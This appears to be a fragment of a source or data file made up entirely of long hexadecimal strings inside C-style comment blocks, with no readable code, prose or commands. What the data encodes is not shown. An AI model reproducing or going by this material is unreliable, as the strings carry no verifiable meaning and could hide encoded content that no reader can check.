3d1fc9e9bba59c746938560176c186553f9f88842487f503fdb340ba92c9fa7eeec2006f88ebc8031edc6d1cb41bc72d262828234afe26325edc4747f66d557fd113d523faee4aa49b1cf35f49b177958d4a48a8390089a69dd91952731a056c87859fb16cd1af629806c3cd19244ab43238209663e10e3590933fc7744427da0b4af4c41623fe48596792985c7b40f18416db3fc7f94528916fd60252331b56025ba44dd376fa33ccbf1b1aa3e7652e2acfdccb8e6fafcc83cf127bc2ce28bc74c9d72f65b7a4980ab905570d849ef1adbc5d8045b4947c770809b9f23dfbb93e665c3d07e1be6b89593cf25159acb07d489f4f16f3a894d3269a4a449f1ec7efc2638106b1db8bd8b27888705cfc1ce28b136a01288e9d21f0b4cb20416729ad916d331e492fe2ad6e68787cc966508ea76ded8c99dbe7a6cad81045a949ddb886a5166afb66354d497ed62a28f22403d874ffbe8b007cf63885068f9365588f9a4a9534c86c1339f44d6e84e1f5ed4e0ef3dab022fbef4e1eb5d729ecac16410f5e379367a0ae1f5e6dad1ce754241f253bf31a3148d3a92060dafc51e82896d5fd825d6ea533cce1921ead58967d8af9e1d74e2415b8fc5e9e5f260902b393c254478734cfad4d3140a3d752cbd8dad4b38ae56e97dc36cbe213ad85b888376e4e207e4aa870fbfc5d0b2dce2e7613fa0b2ef84bc7e6704a91326808c055726745a0387a818456bb25b9285079a265913effec9dc8*/
/*b77e2522414c373068d09495c6f83ebcd031bee6cab26950c5dfb742eb682ab958208230b8e1b56cf50d431abc34f7f3e5915e1089a331224917c0caeb21d0b10cff31fee12128d64a1f07af8459ee60d33bd7d323511edf08f6b558c36059c6b49d5e6e8686995627892f710f9375ac060f75fab65db726152ec5cf47f089d452b842ab85b37733b7d511e3fd0809aee54497446bffd5fd06620a7a34d3919be02a4bb08127b2425653c9e99c308f20489b37e5340bd1454b0e052050faa4a0ed806541f999ec8da82b1cf3beee55003bc78f5f6315fde1fd5472608aeed4bc63d43462475f0db1435cb2552427ef2c49b0f134d6da97851e1ce7aea72bd82087b4786b80acaaf223687865c022f016d56b753f12484c0889a43d2d7808797463f43a8a79ed7fac7ae36ae0b9928cfd6d185c0dee3a8d671c0f9cd3eed1eddd50657717b9c4eb27c0cd1fd1a4360b1a6a340ade8fb16ff74920dccbc859dbfea4554707a7cb512c72c558a8178dd8aef567dd39a51123ee4ab2b6ce19b1ffc3449d9f836000c6a196a040d76730c64f436555893daad86ee29307118f0bd11e42ea28344e7c8c59a72f737b789536ca3da8b01ad807103d9f6d26ed5eed97d3067fa6b0b56aac8d070d179f0a02c3271f3950a2dca1dc880a403d9accd382be5bc7e63946b35e7b120f1707bfb42101c0b628875d6cc3f3d987da841ddd49e01862311b69cad23c2b8f36addcae82dc6a177004f5c1ee53cada1344bd0bae7cafd138bde30aea3f552d4dc45f0beff481f96bb9db7512fd06f0de6528f5d0e8ea415e9fa99c4130ee016b7a08bff18675d778da189c8713681e7365ff362f53624afcfac4a1f04d2d248eefc6b2c25ef2fedc1f800201083e0e4047d76144c5b250da25930ce44d8cb371bcd1e9e9c7ba4dcfecd73f6b1b709cb3c744737a981b36041b283843d056a038e0b569f3c6a87e3a0a3fefec3cbfa545b7edcfbb2e09788699d6e18f2dee1c1d6411b53574cfd12f548691766e7a23c16349170ce948c6a80ad8636decc1171435387dec5b87b1a7534a4a3eb09382f4f469ce3c9dc596e8f29a0071fba3820e3575ab6eeb60b0185305af9d712173f7ec68ed49916632a8c5e564b53aaff2c719cc027d7f71ae0321ae59acd28e14b41d0451cdf69f710c3265312f17b43b9493e3eb54aeb9ad798a1af85c0b541666c34041b0ee9590a9460f8fd1157cbbcf15595a736a4372d36cdf1a053fa174f1fcdba3d76b354dd161c0e3115596dd8de81b2babaac2bb3a49d9fac444e448b9a63c5ce8c89639c792d79b199f5af6e2aff1b5b3887c300b437ca0b202cdc8f53910152a9f504b2f06e4732601e06532127b91c0ad94dc90a0308eae156f53ea92ddb6cb656beda9b9fc748712745401758c53965b59bce3ee8d23be16a1a4b1c0316e10f20cf4eacb6e2d888050c282d3a15f98150ce958cd372243911520022964b9d830cf85f61254a1c2b8a0aa65ecdca5b596e5f4f807da0bec82c236caaadff6e897cf9dd7917f84cd4dbb93aab81b0819093786e7da5a0acb02997d3e598e8f06c11e02b8d4fb232f37537a705b2bf3ae23f00a1a388d5f9a5c6f9793c39ac72d742e1209de24f310a98a23fecdc42143ebdc9248d95f96c9e8225ad45e9410887d8b1d19c286d5b143682bba2f97095e692aaa5424ec074e8bdb1321cc39e0ae026894addf4850a5ee6fe04a5c5466b7ffac973b3ea4465127d6f586f2ddd0b00d8d6dff96bacf71732a0d9c6daad03aa4e01ac9d549dcbfaa9a422ae84d202ac4a529c9f3cc5490cdcf69fa8405eceb7012b88f84c7e3ddeb39135a843428fea85acd6f5ab18ee35c7314385bc7a9634201fa8adb7974e9e086a7bf2a3918232e13d29ebed015829ee6af9fed88932538b676cf0422b6a9e73c8991ff79487c55f5075d677ffcede3b600360522602746aea0357825b4cdbb52e0c4db7386a91c27d619a3bc46da2da1eefd96415dc5e9567b8e869c7bbfe49470b6e56b36aec17551a3d0a32bb68a816e6e3980ceba0c829935959b24235eb7b955720f8c255d8660852918cfcde88eaa94756cfd04fa111dccf3866e25ae5986ed4dfdf9a84b11cb50523492136cd0aa56c02a3eeaa1a9d9ef98698c0bf98208b40bc0a6edc625c27dc3dc275d33ca193dd9a3fce21f13bebd675bf7e39619ed8929f4e3b8d8c1681316e414a96fbcf66ff5351d27daa534ef3923b86a0e66d651a5db8e6431abeb21d23f2ad9a775dc4509d9a22676e1c5d8a6c754aca4bb8e629282928f4a159e989b510db7f53698136d0112fa756855a3430fea26b33fdd64dd9547f1fb247c6683299fc7cfbbadf833fbf0d4812ba639c6f19aef92fb594c069a363ecc5df92be790544ebfee174e44db8646494053f74e35384c31a4816108285e580245593ff4d99ba98be9aa3ac101260608676b7644ea8a15f1d08879e191794fdbcd0442476d191ddd6f8dac1ea6085f47c722ae6fde33dbdce782300c817a761bd980ffefa10d09b16c6cecfc2a97de29eb4cda28aa9a3ebd8f37889cd7592e9a5dc60fed2ce41ca4be9c3ab1bb1c72768536dce344f22a08e74402cde3deac78dc8c32b28aff0d8a5d44751c72b18ea0f0be5b16764fce9f529a9325975beab3eb7745e58acf81abe6ccc61f78af11b9b8142503a76f14e372d4695a8284f480e4b58d753bb1bd8581ff2a46a0dd4bf1b9cbb80f96ab900074d6c644a4bf5af20818d368719382a362120f218a595fd1a48edffa2771a880a97ed1edb6a359e3949918841a5a3677a82fc596d97b6ab3*/
/*14cdf284ed894fb51a53bcde700e91f17f2275ebcde97054516e8127d936346ec7ed5eaf7d974d2c162aebf465c5fb2c6d9a8748f7d147e94b30b64606b5bea8abcb185185c2c821d065cdcae321bf80f79852ec0787f568dfc65152daf785a1906bbd0662ce7647d727aeb8898d99e727ab2acac45e863f4d8f7c7fdfd68a3cb0fbae778029ba51612decac6d25b4f58a28d320dd175ca09935492244313c1efbfa8ca0683c720473f5bd4bd9a58df399effaf2e60179ac59d36fabaeb63310419b63e07c0bd20348a226dc55a8cca846d7773fa77b43fbb943a60f1d8506cefb8ff51696db2a2d6e84dedda9df5d8f598085ccdc52a4ae05c31de42992fc43c6540370035d34b89705421b4b188038c54c2b50b44f72ee936ffc92597ff2fab58d0421e858407f26b36f046a64d6a21c024d60625299594fde4bfda10816de56e212d5f39d7e2287e981273344ee756edbe144a24b28aaac2327bb7ac46b2185c47da128fab989a06c1e8ea3dfc4d0690eea736dfae5d65d737189dd05858a6ecfcd2e1999d7ca65595d3a5330dfa3b6a26d71de331439a4776ddca0a601d94acd5b719c2504e2325110c5bf330cfb00e57b79a40894e5a09214a9133d112d6651f0560ae4a97b06aeab51eecfa997087dd7a94fa70dfe68208ecb0a8d60168f9e1efb7f90b4a1ee94aebd3024218069194902d7ac24c28301fe1039c8b8bc2beeb34069499e5b949b5dd62796354c69786272f6513f2a253e2c3f43de1fa18c81b1bd4715c3c92baf21339e64a2486fa791ed73fe9519e65751cce60e6eb2497fca5857297da2db64685de0b45ce1bf4e88e720224d9c801f5faef75ac4fc36eb4b1bb0d9564eb19afe06405c0ae4b016a6a9d8e815c17f36ace5ec18690e74f85bee4b52ff983ab7c3854b243050d94a42a0654a975477e2090e3bcfdee819be19419ebfdccae50b4c8a2cbfe006f78f15d89c78e70e705bec86d49c1a4eba8f4e93ff0f35cb58ff35c49fb00c7a55fca779a576ead1760ad3b63d1c57536520a5542f4bc007a247b13cb64fb1d917a6af1e606c73e307562d24d4e95eb2728ce17def60e946bd5e681483ca40387cac45b1f1e2397287d5b7a1f0b7b1a02989ee519a77191fb60b015b253d51dc448a7cdf9e029914b38b7f9906e15ccc318ea0765e1b8ae62546563d8b8d70652605fab7827fca30f20f4beca334d77b0789b950149e3e469bc72e101e3dc03eda64936a48db28f312e4c040dfed355c5b1cc8507c6d4f53623c3626a3d3bbcc84254ac2298faac8df71c1675dccfa2eaa0e9636302b89a984156ae5a8831af52275ba52daf0dcc4aa42102fa6fbe6f5d7533b220b60ea66d9f405af9f9633162ef74557e4e5c799f069813dd32ab8e469612b9488a998d076ad91b6af959b01f787d591acff1666a776f0d5721222162725a009d0db3019fe803ad923038534609bf057f4cf52b79d65d38f9c9979d1bc5e3e6251d62dae509132227566034652687631fd47b03963d0fe9701f4a11a38dc7a3a837f9d6f7648a2b90a99c149832847b34680f6002e14016cc27a60a604c584df5a098731bfbf60d3cb4cf14e169d5adb410ffc227e4b309321323ca559b68d0343af8b127b6b9dea344a74cbb5d9584bdb11345d9688f8f759c2e71cbde589e2b9f370fb1274d64975e5645d2e69918600f9a06cd2f7a32946e6f13c0adfb1aa57860f54a696536eddf85665ed97b993ab906312493ecc742dfde95cd593ca25ed45ebddd780396bf11405dc10c95b4f350ec91cdfe1098da49d5e18ce1a7c0cb34b508036adc82a45e2d8d0a5982ba12bf7686dce5941c449ff8fbd38e4cb4be5c204fd6f9853e81e6f5a7b473577a34f9948c7f0237e1b08ea396f951d30d6d69f6bd340710c5240678814c521c17c56e3bfd6d0074aac6f35393ac0c42ef58a53ea558f509eab68e96b1a4e19eaaba398123eb01a4288c93cf0ea01ed3b053818ff9b9bf0a0cac53799388032f2416b3808df94957d6c24b4333dd7c78905bf75f54e72a1eea6bb611ce975fb8ce3c47b3fdf566d3d22d583b8352aff10e68c72d27f086d6200689d7b8b7af68e9ddf1fffa64796ca30d671f94981cfa3b10ace8fbc2870b0f50874ec76b022de7be3d8189fcb2541478105a4bc2105d8c45011dbc8f8601465855a82b2f6606eee4a2df1d7186b9b9da3b1905b493cf0525198e2c0b0ab7ac6903f7bd1706a558d6e777eb03cee150f4eaebd18b9576377d23c374f715e2de7ca3e7edae4433c3ea37f72d46d559a36409185f70b331e50d6f87e7ef00202f3785af4c571059420d19bbe56370ee1a6c985d856cc44fca63891e8e37148b18444505ebf4fe6f0ca9d50f06065ea481e650967a4f557b4f41b2789b4cc2fa6db156ef0224ecd6fa57d3f66acc185b3e8f586bac265be9badcc15788d4fdebd5b61f6216a68f2ceb768bd5b93b6047945440fce74860d96c8c1d956f0755ea325de47cf8f500a25f9c33df15681ec6cddeceb48bd28077655dbf971578dc252a72e8e11066e494179bdbd5f1c909d9245e4f4cc6ee6d4e034c5b2d48e43c3886897476963e27b48d5b53ef6fbb3607ecffe2343ccdb07d2f60aa9ef584f2a460c37297ca8003cdc62b82a60b69553f9f3f5b7e49cd523264049e433e3e2866dcd0a914f257d91ff0b42c6919ec626fa5b77298138b44656c658cdd96c4bef88742c9da57b5ef938c3aaee616154a31c2ec09f257bff3d29788e161ececb323f22a8516bfb225050f92ca50c4479a7f0b0fb90479b15ca2d9c38bf726f43e93d6b93ebe986*/
/*c6355b86c9531f6d4362d19c1024522ffc8bd18de7711b2edfc38295d26bf1611ae95f73210673373d79a1e77d5ad85c8488708c11ee48e759d55650c4b48c9837f4d9589d7cf60912a64ba310902f1f543ee6a12019295045fea4d19791759424a044d24246d0349f7ad9a43d1b5f378095b122973caa7649dad733e77dd53cb4bf17d925e842364ddacb1d3c4168b504cd3d764023768cc95f0bb5c4a5f57f51c45a7663060a453dbe69b6883dcc66b317dd66e5b27d38afa4943d6c7b5151842b4adda9625794ede3b9818c0a65c8b26c7bfe60ed109918669b607b5e4211e0cd6f4182aef6ba07cd0fc3d8c9e16683dae1c444b17c08940bf25472c5b1b427669b1d4ced8e80571c5d1c6297dce211622a325073eeadd1fa0aa7748275968009d1f24c03d1c44ac0769d494c615d9b2c15d7130f59be0fc2d590ee4ce63dbfd102b1e498c72a3336cdb634f78b5f29f45cd69c4ce594694988344a1d5069e6aa410fe53fe53f939d811f332d87404ab828fabd61cb3e17ef06d74ca4462b7c480eba0c9d660b198ef668d75441cfb19d04724b7bf73b69db2d7a89656b6effbb450fce67f82f1abef06b635b6d9da9ad94b2d6018d10b9df5ec6dcdf15af1c00f472d54be7c0fe09b8bde43074eb6d2844926b7ca0080f85c90ffa178c9fdc18ba734c5a739da3362317e98ef6b6372b7f074b82bd1c6e4b4a06a44367834ff3511283226ae78a7aff41eccec23e14292e22cdf46ef0ecb6f395130ffa9ef01c27357af1f6243d642fe70c1976f4883c1b493fd1489d3e5a1d93d6637f466b54e5b3f12f7751deb2aa15c05577619950a40094c989194b12349cf1d61a85ed64994be024654cbd5a61c8a4adcae3aef591e87403161461b0a2309cbc53ec1f8875bf194fc56abfa5813f1b40b6137b9ace3dbccf5a811ce69e0d62944ec607b2339840f1163f451c4795be12a18aa54344dc1d8bb131cd1fd997a213b5696213c7b4d3ffe575f07fe692ac6090318857f9f4659383d344875bf2b089d9a281ea6beee667b2c4928863b1cc389d890902e272cc42d9e3f5138d99b91e329776e49010662f7b699ac5ea6d98ce23cd5b2f0321e2927b9a6798ae55f8479575fb03dc52545804d1495b92df86b85d1b8acdaa320295a72a8017c2637e6b25820666882e7bc680366d0b13bf23eaeb8247fbd8f0fdbbebf9a1b402f76b88204a0a2cabf16db368b48ef26adff9efe053d320dbedf4e5e77488f675250b61053c42fa274cb8d5ca59e639bab1fd045bdf09ff3adb854dbf6432d85931bb3c4839a64edfec58a3e11ee95f997b83ad2334cdef05393829f920e8ff36934c83eca08fccd2c17d877ab47110435288e7c6ae7dd7c52fde5ea3e12e3e5597564d042eb260d5a918a339f4fc03d23b67258908fa3e203895970e0e3fc63e18ed1d3562d42fecbcb946c94d05f7db1f93412ddfbc35e3ff830a8d35fbac03ef0c9ac51c2061aef68a7d1fc0bb4f8c0892a1fb33f891370a954d37776e0a4f5d2f904c7a61e337676313239b2f0589b952e9f1477385f9d6b33ac11d49b68bd6d6de85a76d4f1ff36feb95237fe8fe6ed58b0cf60d8689beb105a0e36965caa8d13b69daa9e134d09d5235220da9975d4b82c729759db28e9bcbd4b34cdef72b5885821925d05e028c48747ded5ec75e3dc66dcf123ed4bab41f624756deeefc005e139db36982687b96100ded99f2230ff479587cf1366ca569a729241c9b33db72308799a512a09f0db52ff2f1ee6e15bded93dd81bab241d321caf1d5e04104c7473c1ef447c9ec51f6fc2b2559927fa70c9953215725acb496aefe9957b66fe53cb0d3165b0df9d3e57bd1a79b42b48f1911a5fb7cbebf2277acc9278c21792bcef42c968eaeadaf334623e9ff689c0390da28d27e1bbc98b0f897adc86b1613c2af3b863b9ccdf6d9528c8d37f7ab57b7b2416db361b75c178a111228a57b95c71ad490eab81f1c2bff8de55feebe5fbfd696541c8d999af18c4ff180a2438ffcec3f93a3b0e3bf69dada3f95b545052226c59a24b722cb42283fc6c5b20d95970280fed084b0111ff8e31890e886d93b205e3a888e1e70776f19f1fed4bb49c45733aae372ac25163bf1c43ee7106775f41f51acbd93ce55f6372db5bafb0566b2dfcb44f8168c6772786f41910806c00b85e5e5c742d5c61dc85a25697b2ed85431bbac18e41389f54a69ddb5f71d49904fead29b8b6d14cbec92a7a9ac61204a600c94c7d6f729164e6509f2f22f59a389e14bedcbddc31afd799271c12c48865e0a2e4b75f0df8d6743cd338ee11a56de9ccb617b27ce92daf4fae3376977258c5fec3265ecad6c730fb3522fd92354578ff796b801eb1b1f602dab7c494eb991dc4f213ddc4211b989ac7e7fd91a758076145fc5adf0ad1fdf647921328fd5c1c02e98e6a56dc024f36582f9e18ce7eca75f9c58f168eec770c937b470bee9106c1af56f44749fb1695f237422411a4f850906fa4bcef6e9f30944b4451331cef8d4a4f18e9ef239ff85db3b9aa03deb2b899aeaa36f8eaccbd171ef4f6d1f6073bd7f422b3f4fa79dcb526f261763a8be3509c8b4c8ee1f8326a6d373391f9848b69298e8a1927126dd056718d46e599e0eb05b7ec044861e35ce08a6b4c94a3a3d253ca63f1215f9f58ced6e2973309d11510dbf9705a1437a0008b758753f4db3497d11033ebdfe728229d9a48b4534612d940348da90dede532710fdf6427e9f3e3493f19b35a9032e1fc4747995796704cd67be130e4a7d97f5d2b12d2f6085d21d29b9bfa964119afb14d636*/
/*0885cc5ed6f41efce401fe097cc52b5c196c5bf62840dd817ae1f1ab3157213787bbb9052720d99a7f6af79e082ef03135e22e466817207a3c7ac10798a8898d04950532a3ee8f7ad22aabd3ca2c0b5b6a8b0bd8e127f0d7a794592dcebf7103e8b59a3a7af39611f2a40a436208760cbbab5f07ba63b326fdb48c315745644a4649deaa0c7dea885268247fb35311f088170637e088c31c34a73c481d839195cf96ee1568454ed5620ed0d26eaffc8800693bede3ddfb98ab2bc2b35c4729891d8a3c5552072398287a1dbc8b3cf3eb53d47cb16ad0244051c18854417bfe24b6d3d0ee9c005f3b23c5c7e9b505313e30286cd792c9a6988e052ed558877cad42ed485e60ef620ab0900d7bbd4954ba04fedb66341b779c0a70b69441791165e0db30a72c4eb4334fdf9be056cb3d7ebd064ba3c1db9b03de55abcb3eac31db56b52abebddc0470ad4b71764b3d5d819aea86250da4681e5e170e55ae3b40d3502bbf48c9e519797770c444bccdc3ac04dd8e0cfaebe7f14597e95a4fd9c7c478ba29979a94e6d3454ae468823cc6b8614be7a19638df244bef6294b32ef8ce43975bc082e93691c677dcffe875c4fac3f60afa6d5046dd0e16891ae271ece231b14321054ecac2fc0b3929fce1fa24c6125bc171d77b9c3d07b13c4c0b923fd4b423250d1b7adf7f3c09d8f077dd95eab68113d6023eb1476d958d6c0582e97e1310e0d0f9d658b612ab87e99a0d78bb7eb87a5466b80d32a18df624aa48036a445912a2a5873016a7fe29c37a98e622aae4b38f4c8f3cb28cea1c8fa8aa65da3f87746ffbbd127b1d12aef956ca1e70e00514c9b2127f006002b6e52c4f0d50d149bb40eab62a63affb64ec3735c84ea8e000aeacc2ff6c65472cb976f8c8e888954862a15cba91c9a8f3d4d3cb568900333c0a345226cc3a2d6cdfed0e4bed8b6ea14a813b5d3dafae76ee8a3e8a59de85e30af38470c29233b4707158d3d12801298d4010c4c6827dbe0f7948632fc73313c0f70f6f743a5d35797a7e02b46448af8d572175053137b70b6c0ff62bad0124a3e638e93ef114495861c44bb34fd5b115264ae9e54d09b42dfb2ef06ac96aa9e7475f90974811069005c992eca027857aabe56f10e78a6efa49c7a271944540596ccc8078b9081fb360097ecbd329e8640fb5e12bc54d7c90120f782895be8a2f9bbb64ff249e6e69bdcc9db0031f6f5c4c6b299a6a12b914b96ac831530bf111288cf62f922a92d16da6f5c6066f6d3a2e598e54eb6ce213019d2f275c9f156f5a458745502cf63b43a9de9e27ce01f07be67e7d449cf01ace11cd8ebbe6ae7df498dd503ead8aaca093c9f2f174b4d97bcc83df2da32554687549522e954be3a03d9a75c936b568a1fe88422364e4c8dd59ae27cb18088127acdf661b06290d5702b55ac7c126e450009c8267edb1ebc17145a562a43b5b502ad7179318079209d9b2775016fe50b5573fa00c2e9bcd6291417616878e60bdb4f1592673be29c37c56a2542652bd192c0eb3a3804285f1a18da429424b46e30109b3020388b09a9059cb0feec54514fded1e8e0922612af88099e4b6c17d9898f1fdeecbc2d7fc64b83d8d412704c1d02ab19257ee7c74b097574be86f72dfd37c1c36088c9138b250259482232761d65d17eb1921a68c57e549cafb9cd3a61c3f6ec4fa5004e03eb45c0c4f36021a8010d3a366e5b5a05d21d252c7b3ff27e21bbb4e30f3ab71878790705ff5fda9bdd34b41a6b672e9be9ca65559b4ab322b3c76c6c5fb843c42aff26b3945979f612acf1d4a07d2e2960b7346072d87dde250ec2b243b7fa0279c0145175fb75e90606aed3e86c3306154cbd3ca5810c8bab122cfaf930fec04fec575cf8827929e787057ea98a86ad5fe114599a5c6c2ae54501f7894c23e2e1dd257b19e54a898c9f019c6f7c89c9111d38022752155e44c092a470e354f9e1b700501e675e853d099dac969de77628dc286d22a63be1d234f905b574c8219d4c5bcd925af51da6b521106060578cf6b0e36b77ed9daa0d899e88f1cc2252e9c47309a69883a9c5562e5a3d921eced88e001a62513083b4550ec090f989af207d6f6ff75789b2624102fac23ba2e20c3e9eaca171bf49b5903995a2fa03cea078c363f3548b150c9ff719c7b79d6ea0c6c264b9e94cde205709376d6a783bc4dff33c3d11f8ac2e8d8d6f73710c7e3dec7fcfc72e3d73222b40997259d8d6956d9fc93cdff158adf6a388b275945170b65d79ae5f320b165be61bdc05d007d1df8958066d2519549b5ad3d00c04898456f1a939043ac8c45a9de95ba6878be5e34f9d33de7d2878284fd07ac117c18ab7511e7b5615664d1e7e2b5ff9f9c2d77e7c8291eb7cc1781753b987c0135b0b17434c009b5f46a87a857826de8c5af80112163bd4ad3ed1037724df931afaf2088d5860cbf04b9cd1c2a77ba2f9dab02a224a6bddf7875d5d95463c52c364d7515dfc85d0b26c99c2e72c677c5b87d0112b51b19882def3e570a1a2c01801f1080316011a0bb17cd0b4558c61d3c936d2f20c4ece77f6a9350b37377993104714f735055b7fd338231c3fed31cab9243972f28a76f63a34545f3584e2f713df14e62f2ab0fc3649c699751f6187f472fee3cf2997f0cdbb90820951b5639e71221f22646e768af199af67b6bb9d4f14afb38d9a3a4e3c1b3a6c54aff408262206beba789cf5b1ca0a0ec1a0fd527ba373638df2f077d421a8fc381f67f688a266ab5acb3cb8aaba6f530d0c8ef519c1c1baf4771e4e2894e1dcff80489c118471dcd91c7b68f2eac*/
/*c2879de250ebe187b457663d434f427086f208ea34947e593bf2f8b9a15f3fe186adc3e924c5eb0036169b1707dd515401543fc321b430d4a5957dc825f2f5afcc378d6963d140bf69900f1dde14cab9dd1640074f70fec8a6b04617d2c1b9105ed74315cc74c23fe1fab85ab203f73788a97a572912ca37a82d9655fc982997022ceaa3e8046e2d8d8471ae7325992e2976b807629b6c2e4d5b99d278c5c9c81147f3dac3eb7bec1cdeb9bfcec4a4632938389fbe48781a6ff38567fb5a6a9433dfad3e611794949f91b0973321bd9b3d2e54ffd78acee5a94b3161c244d8b45dd92b73123cbed64376fa5f11501ee9b8adae1175adff7ba1e5cebb68d668b88cd33775449b0d5c1203c70fedee5535cbbd21e6d1def12dbc1c42268b23a60877ccc99ff0fe125b656413f1b1954082eab6076a35ec4add7fd1e030ea87df5e1d386dd167bdfbbac440f44f1ef8ffe5e01862d82234f93cb5640912f75c9deb1d7d66e4a9385dc449da97bd0acfadb3fcdc2cfaff4ffb5c811c561c567e4e9161484ba0ef75ce1b5af82439ba2df12e7849bbf45a630375dc028640075430dff3b52f53d43754ea6b9a56487be298b07099a91cf1d57bf5e77825ceceeac68b8d11eadd070048678a3fc6e3d43436045abdec5bfd3df224b124877cb27684b8d4794327d5952c85226788a698c5b0f29b140ab8b47efc65edca54e5eb64519c95e091efb106d43a1f7779b9108b940397e9bff8349b96b41c793a6a7d57948326743efe9de58d4121749695bca23a998730a95b0e0913cd44068dd717fc26111cb0df3d10cc57ee7c1cb4e2357849e95591be658a50f4c055c29d0d8a7e1a0761eae69012f61ec8daf6f09909af10c727da70f54f95da67bb5c25f34490b57e0202797df48dea97cba0a5fd48c0522cce4302a9a735813d4380e9f5303b49e6c1cb0ecaf01a5c2e3f80c783d34bbbb09bd645acbc923727cfbbb87f10a4f945ff1fb13d02e207c3e14eb7ababa874af877fcb63a655bdbc868a5532b9e285a39516db774a09c85fc47cc00b6ae5e332536652702cc9a91fa1892313513acdbf2cc378f9874bce4ac429f8ba4a090fc41f0b6d46c48d6d25e8021765e5e63cfa803c183f64b4a9e58d000d595da9d6dae34c831976419493c18f4340c4812504a7f6bbb7e4b40601a50cc1ea76bb9b234eb0f189008800a28d3b17e55f28a321944eb1000f23615c1f7dd3dcb613a34c1016e19ee30c2543e84f51a9e148c16d281ee5b4ef625c138b58d351f002a1b80dea8535f3a46ccdcda9ebde395dfb221042d914d02c2f6bcccac8ff5b8325c6bfa191cb5af2d4d7dedffc3c66d7f528eb988fd9b98b4b138f0f77e0e622bbd29285ded3dc89fd6afe753a6cea514158c5918a69b0271644d77bf817694e3d0ef3635e24a3386682f8403c464d24cdb38dc7d38c21490702492245bfbe02f2f4bdb7ecb33c03302adcf3487bb6da7f6457823d52d2aa65625b2919461acf15421fdc72f5696f8d12c347bd7cc6f8063808cb86acafb318d2fae1e367f93673518ab9f2fd656d3d0e75e704e7c01e51875020c66ee4f2ae7889c4a095d75114e1f5a59c77586fcda708d0c2d0f7b8920021f8cf8b91c1c970267f9946c20a59cdb03b7b1512d39c0c0fa9d64186cbc71094cab4a3b245d3a89dc0cfce99466562a41c003d85435118d763d756ed67ee951e84695f9967c8b84d9967bd88a25ceb6924c2b8e7eb7eea5d81e937da4ac864b1a8f8496ac5efba50f47fd25f59891a43d9ab8b2807e3ab185264fd0a35c3ce5e25bce5b710e5e7b4f1de2f4580a1a0999d29194e6c8027d4e842a7c84c85942e292f93bd5f690dbdb46c4b1ec5eb85e66bc3f5682b323044585f939ec29a35eab383e90bb8d1a99d49ea421282fd433a526b6bc9d316708f61755a7944b039f7d095f66eeb7efe6a26fa47c6daee44e570a16491b737457eaca9d19ff97285c71ff4a9358beb206244a41a4439b0d44fb70103c68ebcbc74ada52526e9f71a3380362a8b90f55e08e41db7fac98f1efc2f1b24c1cf5dff99949bda2bbdaa8a99a48b034c5debbe54c668790e67fe02ca607714476afc9fdddfdc660dece33029f6fa8a66e19911f726678785a0be30c85cfab5f60f4f42048b830677dde27d069923dbddadf1fa34563fa0a5befd4b106e3ee07bbe23c0dbcc9182896c5b088161a9e819b2a0f86ebbb17f808e80d192ffa0c7913c56bc4f1686480108dfb76cebe79bf3cd2eb6b6121c1aa56aa1604886fc65fbc672cf25695bf2fb402eb40a4c93cd453d0299c482783aa945ef65b3b9a73cdd4b2f7423e876e9f0ee0c76fda01976dffb816711ddf7aa68faa588aad3c5a169fbaa44306b09f52c6549d48c72118089b0d523b6a79d30eb8a36ee2e0cfec6fc7d143c12acb66ea0d0533873e1f19800632d89e8654110414e1e1f61f391ef9d682e79cab27d133054dbb31403e6939f8c51e72784e0baa0acee2f025eff93106d1ff3feb6917e8b5da400e43e024d7ee00140db7d6af2aba7da64e74dc6141b088c46f5d7206d380c5bd9af6e7fcc7f51e23091b26e7d99a5d6f9544391a6d1af0c168b7435fa52ff72156ef9be8d1d89558333c0afc731c2c2d481b44976dc14b320ab95428b479acf4f1d4d6e8c4060a601d4425071b6f042bddf6eac0a6cbc02ee07b3a5ae8ba6beb7cf4eed0886135a078fba3569562ce7ee81fe8ac59377db924920dba74fd4a4ec01015b99595724da2918c043c41f5685b4c2fd7295ffd2eb62d9ea81b170028bd80fc1ab6693c16994c1a7553760428d*/
/*92c8801fe9a9f9d0c3dcf845277b165b58422d579865e379c66f46d7ca264c7106da0a14de49035f020d9ada36c738710bf46127d53a373c8cc3b3c2dfba79831e7f7af9fdc964ec4b9133832849079ff9a77a6a750f8819eb06c8223bd2133ce4c2a4690266ed89c64b9c9542661ff0fa06cd12fbd0aa9a4f3377e75eac2e5b17d5919855aed463baa74a24a6fde0bf14edc6e340cd5bc59166b2a317133af8a9a5874723435ee50761d29ada528e5f3c112636188fe28f3f2bd0abeef14deda58309b2d414e5be53a163ac5f0700fe3e3cca0768097057f452647511963f1ac6321202fb5272e1e5d1c4b0acaa44427a73c62fc25e2ae50ed59c83ec6eb0f0ec63ff1e914d6c3169cc07a04931e5906fee138e05c9c90ea7ca7097521d5fa830bbaa88c90d036a6ddbe1d8be01c2e3a9b33c0f9ee51396e31851ce4f5d34e425e8beeebb3d9779c8cdef6c2d7a8e3b873e6fa9c026ac172304ab8211d59d772f6f5c66b3cc00e7cc0da64c98ed9360ea0788e3c3cc73e66675b5b21c79c6c686902d8b9c91d16e21689a26e5b15ff2c79da50dcca3db5996640f5b0d5096693bf8c9791384000f5460f1c776a50c84930565c79f67bf3d8bc8702a705a1d927d88cf0524a00ef9e89f08d22ca4aeb37ae16b7aff7efef8060186472b1d471ab2d3661c90cd67d9210e67703ed4e984ac4d2d80ba549c8d3275050b2a008e606a7b6f1d4c787cf6e0843592aad264f33416d5af7e00bc2a25f879c7d797aa83ae85393bcd2dfde3ddddfa494a0ac5c53f6a9904065aade30decc491ea2fd6514866946c98b21b705c4d27c15bcac66c8a1885a08d2cae508251e81c96dcce87495a33672981280cfe5ab1061ce3f92a208bb292302833b8cf6752b318e26efd7dbe78561d3f5f7ffc498794b7509e73ae7f5a926f03a210dcd1d3f1743b0663450ba8ef74c50ccfeee33117c5152fcf46fcdaab5f6b04b3e1f4d243919736afe8f5cafd34804397d2741ed586e7ece5e099ea54d3c8ca96980df07b29e226e4014f62c2c5a39332e76a1f0a631517947837628254f89bd12889d79e3e7215abd29f25b8b9b3dacbd469aa905e9c32a7bbe797f443994bf1c5e9e1ad7c078c219f82bcd80d48d6b4b6023b966eb32c0d34bd649e5b9944888a2378712dd195ef4f0df0dc86236cdfc21ca8d919cd8b72967653acafb00c55405968e5c95f31b83c2c5b70a26001d9869abf5ea4bc8f2ed0c990770013218ffa168b5d06bf74aa0416899ea452f8d9b6291bfe4ac5f35ca46710d79889117bb957553a54ae68c77723e1cdf814f59c342f63857ee5424ae145977d7ca228b53533977fa79fd